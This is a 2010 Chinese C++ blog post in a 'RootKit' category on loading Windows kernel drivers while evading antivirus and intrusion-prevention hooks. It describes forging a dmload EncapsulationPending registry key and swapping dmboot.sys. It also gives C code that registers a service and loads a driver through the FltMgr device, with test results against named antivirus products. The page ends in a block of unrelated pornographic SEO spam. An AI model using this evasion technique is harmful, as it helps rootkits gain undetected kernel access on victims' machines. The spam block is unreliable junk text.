• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Load Driver

            Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1073) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主防加載驅(qū)動的新思路?。?!

            通過dmload.sys可以實(shí)現(xiàn)一種新型的驅(qū)動加載方式。
            ? 在dmload的二次驅(qū)動重初始化時會調(diào)用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調(diào)用dmload!DmLoadIsDmioNeeded判斷系統(tǒng)是否需要加載dmboot驅(qū)動(向disk驅(qū)動發(fā)送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調(diào)用ZwLoadDriver加載dmboot驅(qū)動。
            ? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅(qū)動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅(qū)動。


            http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

            一種另類驅(qū)動加載辦法

            2010年04月09日 評論(0)|瀏覽(75) 點(diǎn)擊查看原文

            一種另類驅(qū)動加載辦法

            華中科技大學(xué)

            在這個病毒=Rootkit的時代,驅(qū)動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅(qū)動也是嚴(yán)加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅(qū)動無法加載,不過,也有一些繞過的辦法。

            微軟為windows專門設(shè)計(jì)了一套微過濾驅(qū)動(mini filters),這套驅(qū)動是專用于管理文件過濾驅(qū)動的加載和運(yùn)行,很多的虛擬磁盤驅(qū)動,還有還原軟件常用的磁盤過濾驅(qū)動,都是使用微過濾驅(qū)動進(jìn)行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴(yán),所以可以從這里下手去加載。

            不同于其他的驅(qū)動,Minifilter由一個獨(dú)立的manager管理而不僅僅是SCM(服務(wù)管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關(guān)于微處理管理器和微過濾驅(qū)動的內(nèi)容,可以到微軟官網(wǎng)查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

            加載驅(qū)動的主要代碼比較簡單

            int main( int argc , char *argv[] )

            {

            HANDLE hDevice;

            LOAD service_to_load;

            BOOL err;

            DWORD dwRet=0;

            WCHAR drvPath[512];

            memset( drvPath , 0 , 512 );

            GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅(qū)動放在當(dāng)前目錄下進(jìn)行加載

            lstrcatW( drvPath , L"\\load.sys" );//驅(qū)動名稱必須為load.sys

            make_reg( L"load" , drvPath );

            hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進(jìn)行驅(qū)動的加載

            if( hDevice == INVALID_HANDLE_VALUE )

            {

            printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

            goto __end;

            }

            wcscpy( service_to_load.ServiceName , L"load");

            service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

            err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

            if( !err )

            {

            printf("sorry\n");

            goto __end;

            }

            printf(":)\n");

            __end:

            CloseHandle( hDevice );

            return 0;

            }

            這段代碼和SCM加載驅(qū)動的代碼基本一致,只不過換成了Fltmgr進(jìn)行加載。

            驅(qū)動還需要在注冊表中進(jìn)行服務(wù)的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

            VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

            {

            DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內(nèi)核驅(qū)動

            DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務(wù)

            HKEY hKey;

            WCHAR szMain[512] = {0};

            WCHAR szImgPath[512] = {0};

            wchar_t szRegPath[512]={0};

            wsprintfW( szMain,

            L"%s%s",

            L"SYSTEM\\CurrentControlSet\\Services\\",

            szDriverName );//在service鍵值下注冊

            wsprintfW( szImgPath,

            L"%s%s",

            L"\\??\\",

            szDriverPath);

            if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

            {

            RegSetValueExW( hKey,

            L"DisplayName",

            0,

            REG_SZ,

            (LPBYTE)szDriverName,

            (DWORD)lstrlenW(szDriverName)*2);

            RegSetValueExW( hKey,

            L"ImagePath",

            0,

            REG_EXPAND_SZ,

            (LPBYTE)szImgPath,

            (DWORD)lstrlenW(szImgPath)*2);

            RegSetValueExW( hKey,

            L"Type",

            0,

            REG_DWORD,

            (LPBYTE)&dwType,

            (DWORD)sizeof(dwType) );

            RegSetValueExW( hKey,

            L"Start",

            0,

            REG_DWORD,

            (LPBYTE)&dwStart,

            (DWORD)sizeof(dwStart) );

            }

            }

            這種方法經(jīng)過測試,可以過瑞星2010最新版,360過不了,其他的待測,網(wǎng)吧的驅(qū)動防火墻不知能不能過,也許可以嘗試下……

            如果對驅(qū)動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

            国内精品久久久久影院薰衣草| 久久婷婷国产剧情内射白浆| 日本欧美久久久久免费播放网| 偷偷做久久久久网站| 三级三级久久三级久久| 香蕉久久永久视频| 色8久久人人97超碰香蕉987| 97热久久免费频精品99| 国产精品久久久久免费a∨| .精品久久久麻豆国产精品| 婷婷综合久久中文字幕| 伊人久久大香线焦AV综合影院| 久久亚洲精品无码AV红樱桃| 九九久久精品无码专区| 久久久国产精品福利免费 | 久久久国产精品亚洲一区| 久久99精品国产麻豆婷婷| 久久精品www人人爽人人| 久久精品国产99久久久古代| 久久久久亚洲精品天堂久久久久久| 久久久久久久久久久| 人人狠狠综合久久亚洲高清| 伊人色综合久久天天| 久久亚洲综合色一区二区三区| 久久久精品一区二区三区| 99re久久精品国产首页2020| 久久久久AV综合网成人| 97精品久久天干天天天按摩| 久久精品国产福利国产秒| 国内精品久久久久久麻豆| 久久精品久久久久观看99水蜜桃| 中文字幕日本人妻久久久免费 | 久久婷婷国产剧情内射白浆| 国产精品成人久久久| 久久99亚洲网美利坚合众国| 国产福利电影一区二区三区久久久久成人精品综合 | 精品永久久福利一区二区| 国产99久久久久久免费看| 欧美熟妇另类久久久久久不卡| 亚洲国产精品久久久久婷婷软件| 色婷婷狠狠久久综合五月|